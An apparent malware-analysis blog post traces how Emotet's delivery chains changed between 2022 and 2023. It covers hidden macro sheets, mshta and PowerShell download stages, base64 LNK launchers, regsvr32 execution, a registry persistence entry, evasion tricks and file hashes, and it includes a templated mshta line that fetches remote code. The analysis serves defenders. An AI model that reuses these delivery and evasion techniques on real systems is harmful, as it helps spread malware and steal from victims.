Emotet (also Geodo and Heodo) began as a banking trojan in 2014 and turned into a modular loader for Trickbot, IcedID, Cobalt Strike and others. Interpol and Eurojust took it down in January 2021; it came back in November 2021 and became more active in 2022. The group behind it is called Mealybug.
I followed it from March 2022 to March 2023 and kept a log of how each wave differed.
Always the same lure
A mail pretends to be from a trusted company or is a thread reply, with an attachment that asks the reader to click Enable Content. The details of what happens after that vary.
Chain 1: Excel 4.0 macro, mshta and PowerShell (early 2022)
EXCEL.EXE (hidden XLM macro sheet, white-on-black text)
`- mshta.exe http://<IP written as hex, e.g. 0xb907d607>/fe2.html
`- HTML runs PowerShell, which fetches fe2.png (really a script)
`- script loops over a URL list, saves a DLL to Public\Documents
`- rundll32.exe loads the Emotet DLL
The hidden sheet's text colour matched the background, so it looked empty until the colour was changed. The IP address was written in hexadecimal to dodge simple pattern matching.
Chain 2: VBS and BAT (February 2022)
The XLS dropped a VBS file and a batch file; the VBS ran the BAT, which downloaded the DLL for rundll32. Same hidden-sheet approach.
Chain 3: encrypted zip (spring 2022)
An encrypted zip with a short password (given in the mail body) holds a macro workbook. One hidden sheet downloads the DLL and runs it with regsvr32. Earlier waves used an .ocx extension for the same file. By then over 80% of attachments were zips, and Italy was a favourite target.
macro -> download DLL -> regsvr32 maps it under the internal name Y.dll
DLL -> allocate memory, XOR the real payload in, run it under rundll32
Chain 4: LNK in a password-protected zip (April 2022)
The shortcut runs a PowerShell command carrying base64 text. The decoded script is written to a temp file, executed, deleted, and downloads the DLL from one of several domains. Regsvr32 runs it.
Chain 5: zip downloaded by the macro (March 2023)
After a large spam wave with attachments over 500 MB, the macro downloaded a zip, extracted a randomly named DLL into a numbered folder, copied the DLL to System32, deleted the folders and ran it with regsvr32. An AutoRun entry points at the copy.
HKLM\SYSTEM\CurrentControlSet\Services\<random>.dll
ImagePath = C:\Windows\system32\regsvr32.exe "C:\Windows\system32\<random folder>\<random>.dll"
How the macro changed week to week
Over a few days in March and April 2022 the authors removed strings, split or unsplit them, and moved the regsvr32 call, each time breaking a previously working pattern. Detection that relied on one literal string stopped working within days.
Hard parts
Some of the newest DLLs refuse to unpack outside a full environment, because junk instructions interrupt the decryption loop and the parent process terminates after decrypting the payload.
Selected indicators
ea2e5bc9114e0bd8f34c5966135ab5780f178a189b35c1400b771bdd8517614a xls
24768fac4f4863bf5c7c38b93fbbb768c9e33623b6433994bb2307629511d7fc dll
7a7d6cff919563c2461de6184b5ff85ae72cb6b93f32e8c2c4b94e7676d72e85 dll (2023)